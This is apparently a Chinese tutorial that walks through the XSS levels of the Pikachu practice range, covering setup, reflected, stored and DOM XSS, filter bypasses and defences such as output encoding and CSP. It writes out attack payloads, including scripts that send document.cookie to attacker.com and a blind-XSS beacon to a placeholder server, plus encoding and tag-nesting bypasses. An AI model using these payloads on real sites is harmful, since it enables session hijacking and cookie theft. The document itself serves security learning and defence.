Pikachu靶场XSS漏洞实战:从原理到绕过与防御

📅 2026/7/7 7:23:44
Pikachu靶场XSS漏洞实战:从原理到绕过与防御
1. 项目概述从靶场通关到实战思维构建如果你正在学习网络安全尤其是Web安全那么“Pikachu靶场”和“XSS漏洞”这两个词对你来说一定不陌生。Pikachu靶场是一个专门为安全初学者和爱好者设计的漏洞练习平台它模拟了各种真实的Web漏洞场景而XSS跨站脚本攻击则是其中最常见、也最经典的漏洞类型之一。网上有很多“通关教程”但大多数只是按部就班地告诉你点击哪里、输入什么payload然后截图展示成功结果。这就像只给了你一份“景点打卡清单”却没有告诉你每个景点背后的历史、建筑原理和游览的最佳路径。这篇内容我想和你分享的远不止是一份通关攻略。我的目标是通过拆解Pikachu靶场中的XSS关卡带你深入理解XSS漏洞的原理、不同类型XSS的利用场景、绕过常见防护的思路以及如何将靶场中学到的“肌肉记忆”转化为真实渗透测试或代码审计中的“条件反射”。无论你是刚刚接触安全的新手还是想系统梳理XSS知识体系的同行希望这篇结合了多年实战踩坑经验的深度解析能给你带来不一样的收获。我们将从环境搭建开始一步步深入到反射型、存储型、DOM型XSS的每一个细节并探讨那些在真实环境中才会遇到的“盲打”场景和绕过技巧。2. 靶场环境搭建与核心工具准备在开始“通关”之前一个稳定、隔离的测试环境是必不可少的。直接在公网或公司内网随意测试是绝对的大忌这不仅不道德更可能触犯法律。Pikachu靶场完美地解决了这个问题它提供了一个所有漏洞都“被允许”的安全沙箱。2.1 Pikachu靶场的部署与配置Pikachu靶场本质上是一个PHP编写的Web应用其部署非常灵活。最常见的方式是使用集成环境如XAMPP、PHPStudy或Docker。方案选择与理由对于绝大多数初学者我强烈推荐使用PHPStudyWindows或直接使用Docker。PHPStudy提供了图形化界面一键启动Apache、MySQL和PHP省去了繁琐的配置过程。而Docker则提供了更好的环境隔离性和一致性避免因本地环境差异导致的问题。这里以PHPStudy为例因为它的操作最直观。详细部署步骤下载与安装从Pikachu的GitHub官方仓库或可信源下载源码包。同时安装PHPStudy。目录放置将解压后的pikachu文件夹整个复制到PHPStudy的WWW根目录下。例如路径可能是D:\phpstudy_pro\WWW\pikachu。环境启动打开PHPStudy启动Apache和MySQL服务。确保它们的状态是“运行中”。初始化数据库这是关键且容易出错的一步。在浏览器中访问http://localhost/pikachu你会看到Pikachu的首页。不要直接点击“安装/初始化数据库”因为默认的数据库配置可能不对。首先点击首页上的“数据库初始化”提示链接或者直接访问http://localhost/pikachu/install.php。在安装页面你需要填写数据库连接信息。PHPStudy的MySQL默认用户名是root密码是root。主机通常是localhost或127.0.0.1。点击“初始化”按钮。如果成功页面会提示“数据库连接成功开始进行数据初始化操作...恭喜你安装成功”。访问与验证安装成功后刷新首页http://localhost/pikachu你应该能看到完整的漏洞菜单列表。点击“XSS”分类就能看到所有XSS相关的挑战了。注意如果初始化失败最常见的原因是数据库密码错误或MySQL服务未启动。请检查PHPStudy中MySQL的实际密码新版本可能为空并确保服务已启动。有时需要手动在PHPStudy的“数据库”工具中创建一个名为pikachu的数据库然后再执行初始化。2.2 核心武器浏览器与代理工具有了靶场我们还需要趁手的工具来观察、拦截和修改流量这是安全测试的核心。浏览器Google Chrome或Microsoft EdgeChromium内核是首选。它们内置了强大的开发者工具F12打开这是我们分析前端代码、调试JavaScript、查看网络请求和操作DOM树的瑞士军刀。代理工具Burp Suite是行业标准。社区版对学习Pikachu靶场完全够用。它的作用是将你的浏览器流量全部拦截下来允许你查看、修改每一个发往靶场的HTTP请求以及靶场返回的每一个响应。这对于构造复杂的攻击Payload、进行模糊测试Fuzzing至关重要。配置流程在Burp中进入Proxy-Options确保代理监听在127.0.0.1:8080。然后在浏览器中配置代理指向这个地址。最后访问http://burp下载并安装Burp的CA证书到浏览器受信任的根证书颁发机构这样才能拦截HTTPS流量虽然Pikachu是HTTP但养成好习惯。实操心得开启Burp的Intercept is on后你的浏览器流量会暂停在Burp里。对于Pikachu的测试你可以先关闭拦截正常浏览然后在HTTP history中查看历史记录找到感兴趣的请求右键发送到Repeater模块进行精细化的重放和修改测试这样效率更高。3. XSS漏洞原理深度剖析与分类在动手之前我们必须把XSS的“内功心法”理解透彻。XSS的全称是Cross-Site Scripting为了和CSS层叠样式表区分而缩写为XSS。它的核心攻击原理是攻击者将恶意脚本代码注入到可信的网站中当其他用户浏览该网站时浏览器会执行这些恶意脚本从而达到攻击者的目的如盗取Cookie、会话劫持、钓鱼欺诈、键盘记录等。为什么浏览器会执行这些恶意代码根源在于网站对用户的输入信任过度且处理不当。网站没有对用户提交的数据进行充分的过滤、验证或转义就将其直接拼接进HTML页面中交给了浏览器。浏览器无法区分这段代码是网站开发者写的还是攻击者注入的只要符合HTML或JavaScript语法它就会忠实地执行。根据恶意代码的“存储”和“触发”方式XSS主要分为三类理解它们的区别是后续测试的关键类型原理简述触发场景危害特点反射型XSS恶意脚本作为HTTP请求的一部分如URL参数、表单数据发送给服务器服务器未经验证就直接将其“反射”回响应页面中执行。通常需要诱骗用户点击一个精心构造的链接。一次性、针对性强常用于钓鱼攻击。存储型XSS恶意脚本被永久地“存储”在服务器端如数据库、评论、留言板当其他用户访问包含该数据的页面时脚本自动加载并执行。用户浏览包含恶意内容的正常页面如论坛帖子、用户资料。危害范围广、持久性强是网站“牛皮癣”。DOM型XSS漏洞的根源不在服务器而在客户端的JavaScript代码。前端JS不当地操作DOM将不可信的数据如URL片段#后的内容写入了页面。用户访问一个特定的前端页面其JS逻辑存在缺陷。完全在客户端发生服务器日志可能无迹可寻检测难度大。一个生活化的类比假设网站是一个餐厅用户输入是顾客点的菜。正常情况顾客点“鱼香肉丝”厨房服务器做好后端上来。反射型XSS顾客大喊“给我来份鱼香肉丝顺便告诉隔壁桌我的密码是123456”。服务员服务器原封不动地把这句话喊给了厨房厨房又原样把这句话写在了小票响应上展示给了隔壁桌。隔壁桌听到了秘密。存储型XSS顾客在意见簿数据库上写“这里的汤很好喝 ”。之后所有看意见簿的顾客都会看到并执行这条“补充说明”。DOM型XSS餐厅有个电子屏浏览器DOM显示今日推荐。推荐内容来自电子屏自带程序前端JS读取的URL中的一个参数。攻击者构造一个URL让参数是“ ”电子屏程序不加处理就直接把这个参数内容显示在屏幕上导致脚本执行。4. 反射型XSS从发现到利用的完整链条反射型XSS是Pikachu靶场也是现实中非常常见的起点。我们以Pikachu中的“反射型XSS(get)”和“反射型XSS(post)”为例走通一个完整的发现、测试、利用流程。4.1 GET型反射XSS参数注入与基础Payload构造进入“反射型XSS(get)”关卡你会看到一个简单的搜索框。尝试输入“test”并提交观察URL和页面变化。URL变成了http://localhost/pikachu/vul/xss/xss_reflected_get.php?messagetestsubmitsubmit并且页面上方显示了“你搜索的关键词是test”。核心测试思路message参数的值被直接输出到了页面中。我们的任务就是测试这里是否存在过滤并构造一个能被浏览器解析为脚本的Payload。基础探测首先输入一些简单的HTML标签比如h1test/h1。提交后如果页面显示了一个大号字体的“test”说明标签被成功解析执行了这初步证实了漏洞存在。如果显示的是原样的h1test/h1文本则可能被转义了。构造Payload既然HTML标签能执行下一步就是尝试执行JavaScript。最经典的测试Payload是scriptalert(XSS)/script。输入并提交。预期结果浏览器弹出一个对话框显示“XSS”。实际结果在Pikachu这个关卡中你应该能成功弹窗。这证明了一个最基本的反射型XSS漏洞。利用深化弹窗只是证明漏洞存在Proof of Concept。真实的攻击远不止于此。我们可以构造更有害的Payload。例如盗取当前用户的Cookiescriptdocument.locationhttp://attacker.com/steal?cookiedocument.cookie/script这个脚本会将用户的Cookie作为参数发送到攻击者控制的服务器attacker.com。攻击者收到Cookie后可能就能劫持用户的会话。注意事项在实际测试中alert()函数虽然好用但可能会被浏览器的XSS过滤器如Chrome的XSS Auditor拦截。更稳妥的测试Payload是使用console.log()或document.domain等或者使用img src1 onerroralert(1)这类基于事件属性的Payload。4.2 POST型反射XSS与盲打场景“反射型XSS(post)”关卡模拟了表单通过POST方法提交的场景。POST数据不会显示在URL中但这不意味着它更安全。测试方法输入框在表单中数据通过POST请求体发送。你直接修改URL是没用的。这时Burp Suite就派上用场了。在浏览器中先随意输入一个词如“hello”提交。在Burp的HTTP history中找到这条POST请求右键发送到Repeater。在Repeater中修改message参数的值例如改为scriptalert(POST_XSS)/script然后发送请求。观察右侧的响应体Response你会发现恶意脚本被原样反射回来了。你需要将整个响应体复制保存为一个本地HTML文件然后在浏览器中打开这个HTML文件或者使用Repeater的“Render”标签就能看到弹窗效果。为什么这么麻烦这引出了反射型XSS利用的一个关键点需要诱导用户触发。对于GET型攻击者只需构造一个恶意链接让用户点击。对于POST型攻击者则需要构造一个自动提交表单的恶意页面或者结合其他漏洞如CSRF来让用户在不知情的情况下发起POST请求。这也解释了为什么会有“盲打XSS”这种关卡。盲打XSS实战进入“XSS之盲打”关卡。这里有一个后台留言板你输入的内容看似只提交给管理员前端没有任何回显。你的思路是什么假设与验证假设这是一个存储型XSS且管理员会在后台查看留言。构造“信标”Payload提交一个能“打电话回家”的Payload。例如scriptnew Image().srchttp://your-server.com/rec?infodocument.cookie;/script。这个Payload会悄悄向你的服务器发起一个图片请求并将Cookie信息带在URL参数里。搭建接收端你需要一个公网服务器来接收这个“信标”。对于学习可以用一些临时请求查看服务如requestbin.com或者使用内网穿透工具将本地端口暴露到公网。在服务器上监听相应端口的HTTP访问日志。等待与判断提交Payload后等待一段时间。如果你在服务器的日志中看到了来自靶场IP的、带有特定参数如infoadmin_cookie的访问记录那么就证明漏洞存在且攻击成功。管理员在后台查看留言时他的浏览器执行了你的脚本并向你的服务器发送了信息。5. 存储型XSS持久化攻击与深入利用存储型XSS的危害性更大因为它像“污染源”持续影响所有访问者。Pikachu中的“存储型XSS”关卡模拟了一个简单的留言板。5.1 漏洞利用流程定位输入点留言板的“留言”和“昵称”都是潜在的输入点。测试与存储在“留言”框中输入Payloadscriptalert(Stored_XSS)/script然后提交。验证持久性提交后页面刷新。你会发现你的留言显示在下方。关键一步此时弹窗可能并未立即出现。因为脚本是在页面加载时从数据库读出并插入到DOM中的。你需要刷新当前页面或者新开一个浏览器标签页访问这个留言板页面。这时弹窗应该会出现。这说明恶意脚本不是一次性反射而是被永久存储并在每次页面加载时执行。攻击模拟假设你是一个攻击者你留下了这样的留言“这个文章真不错 ”。之后每一个访问这个页面的用户其Cookie都会被悄无声息地发送到你的服务器。如果这是一个社交网站后果不堪设想。5.2 利用技巧与变形存储型XSS的Payload可以更隐蔽、更强大。隐蔽性使用img、svg等标签的onerror事件或者iframe的onload事件来触发JS比直接的script标签更容易绕过一些简单的基于标签名的过滤。img srcinvalid.jpg onerrormaliciousCode() svg/onloadalert(1)持久化攻击除了盗Cookie还可以注入键盘记录器、挖矿脚本、甚至利用浏览器漏洞下载并执行木马。例如结合BeEFThe Browser Exploitation Framework这类工具可以劫持用户浏览器进行更复杂的交互式攻击。实操心得在测试存储型XSS时一定要检查数据在存储前后是否被修改。有时前端有简单的过滤但后端没有有时后端会对输入进行过滤或编码但可能在某些输出点如管理后台、邮件模板、移动端API又原样输出了。多角度测试同一个数据在不同上下文中的表现是发现深层漏洞的关键。6. DOM型XSS客户端逻辑的陷阱DOM型XSS比较特殊它的漏洞成因与服务器无关。我们以Pikachu中的“DOM型XSS”关卡为例。页面中有一个链接“点击一下给你一个惊喜!”点击后页面下方会显示一段文字内容似乎和URL有关。分析过程查看源码点击右键查看页面源代码你会发现显示文字的部分在初始HTML中是空的例如一个div iddomxss/div。分析前端逻辑打开开发者工具的“Sources”或“调试器”面板找到该页面的JavaScript文件或者直接在“Elements”面板查看关联的内联脚本。你会找到类似这样的代码var text document.location.href; var pos text.indexOf(message); var result text.substring(pos 8, text.length); document.getElementById(domxss).innerHTML result;理解漏洞这段代码从当前页面的完整URL (document.location.href) 中查找message参数然后截取其后所有的内容最后通过innerHTML属性直接设置到DOM元素中。构造Payload漏洞点在于innerHTML。如果result变量中包含HTML标签它们会被解析。因此我们可以构造这样的URLhttp://localhost/pikachu/vul/xss/xss_dom.php?messageimg src1 onerroralert(DOM_XSS)访问这个URL脚本就会执行。注意Payload是放在URL的查询参数?后面里的而不是片段标识符#后面。虽然DOM型XSS常与location.hash有关但本例是基于整个URL的搜索。DOM型XSS的难点与排查技巧难点这种漏洞在服务器日志里看不到攻击载荷因为message参数可能根本就没发送到服务器如果它是在#后面。漏洞检测工具如DAST也很难发现因为它们通常只分析服务器响应。排查技巧挖掘DOM型XSS必须人工或通过工具如结合Headless Browser的扫描器仔细审计前端JavaScript代码寻找所有将不可信数据location.search,location.hash,document.referrer,window.name, 用户输入的表单值等传递给innerHTML、outerHTML、document.write()、eval()、setTimeout()、setInterval()等“危险函数”的代码路径。7. 绕过过滤与编码攻防的进化真实的网站不会像Pikachu基础关卡那样毫无防护。它们会部署各种过滤和编码机制。Pikachu靶场也提供了“XSS之htmlspecialchars”和“XSS之过滤”等关卡让我们学习如何绕过。7.1 绕过HTML实体编码“XSS之htmlspecialchars”关卡通常会对用户输入使用PHP的htmlspecialchars()函数进行处理。这个函数会将特殊字符转换为HTML实体例如转义为lt;转义为gt;转义为amp;转义为quot;这样script在输出到HTML正文时会变成lt;scriptgt;浏览器会将其显示为文本而不会解析为标签。绕过思路htmlspecialchars()函数默认只对双引号编码。如果开发者在输出时将变量放在了HTML标签的属性里并且属性值是用单引号包裹的情况就不同了。 假设后端代码是input typetext value?php echo htmlspecialchars($input); ?如果用户输入是 onmouseoveralert(1)经过转义后变为#039; onmouseover#039;alert(1)。但当它被回填到属性中时完整的HTML变成了input typetext value#039; onmouseover#039;alert(1)浏览器解析时#039;会被解码回单引号。最终效果等同于input typetext value onmouseoveralert(1)这就成功注入了一个onmouseover事件。所以绕过关键在于找到未正确编码的上下文这里是HTML属性且属性值引号不匹配或缺失。7.2 绕过标签与关键词过滤“XSS之过滤”关卡可能会尝试删除或替换特定的标签如script,img或关键词如alert,onclick。常见绕过技巧大小写混淆ScRiPt,iMg。一些简单的正则表达式可能只匹配全小写。嵌套标签scrscriptipt如果过滤器是简单删除script字符串删除后剩下的字符会组合成新的script。使用非标准标签或事件svg/onloadalert(1),body onloadalert(1)。或者使用HTML5的新标签/事件。编码混淆使用HTML实体、JavaScript Unicode转义、十六进制/十进制编码等。例如img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;其中#97;是a的HTML实体十进制表示。浏览器在解析HTML属性时会自动解码。在JavaScript上下文中\u0061\u006c\u0065\u0072\u0074(1)等同于alert(1)。利用解析差异浏览器HTML解析器的行为有时和开发者的预期不同。例如在属性值中如果过滤不严可以提前闭合属性甚至标签scriptalert(1)/script。或者利用没有引号的属性如果代码是input value 输入 输入x onclickalert(1)即可。一个综合绕过示例假设过滤器会删除script和alert这两个词。原始Payloadscriptalert(1)/script绕过尝试img src1 onerrorprompt(1)换标签和函数或者scrscriptiptalalertert(1)/scr/scriptipt嵌套绕过删除或者svg/onloadeval(\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029)利用Unicode编码关键函数名8. 防御之道从靶场到生产环境通关不是目的真正的目的是学会如何不让自己的网站出现这些漏洞。防御XSS是一个系统工程需要前后端协同。1. 输入验证与过滤前端辅助后端为主白名单原则对于已知格式的数据如电话号码、邮箱、数字ID进行严格的白名单验证只允许特定的字符集。上下文相关过滤在知道数据将要放入的上下文HTML正文、HTML属性、JavaScript、CSS、URL后进行针对性的编码或过滤。切忌使用黑名单攻击者的绕过技巧无穷无尽。2. 输出编码最核心的防御手段HTML正文编码使用如htmlspecialchars($output, ENT_QUOTES, ‘UTF-8’)PHP或类似函数将,,,”,’等字符转换为实体。ENT_QUOTES参数确保单双引号都被编码。HTML属性编码同上确保属性值总是被引号包围并且内容被编码。JavaScript编码如果必须将数据插入JavaScript代码中应使用JSON编码json_encode而不是简单的字符串拼接。URL编码如果数据要作为URL的一部分使用urlencode。3. 内容安全策略CSPCSP是一个强大的浏览器安全特性通过HTTP头Content-Security-Policy来实施。它可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式、图片等资源。例如Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com;这条策略表示默认只允许加载同源资源脚本除了同源只能从https://trusted.cdn.com加载。这样即使页面被注入了恶意脚本浏览器也不会执行它因为其来源不符合策略。CSP能极大缓解XSS的影响。4. 使用安全的框架与库现代前端框架如React, Vue, Angular和模板引擎如Jinja2, Thymeleaf在默认情况下都会对动态数据进行HTML转义大大降低了XSS的风险。但开发者仍需注意在故意渲染HTML如v-html,dangerouslySetInnerHTML时的安全性。5. HttpOnly Cookie为敏感的Cookie标记HttpOnly属性。这样JavaScript包括恶意脚本就无法通过document.cookieAPI读取该Cookie可以有效防止会话劫持。但这不能阻止攻击者使用用户的Cookie发起请求CSRF因此需要结合其他措施如SameSite属性。通关Pikachu的XSS关卡只是一个开始。真正的安全能力体现在面对一个陌生系统时能否快速定位潜在的输入点根据上下文构思测试用例理解前端的渲染逻辑并最终评估漏洞的真实影响。记住永远以建设者的心态去学习攻击技术你的目标是让网络世界变得更安全而不是更脆弱。在接下来的实践中不妨尝试用这些方法去分析一些开源项目或者在自己可控的环境中进行更复杂的漏洞组合实验这才是技能提升的快车道。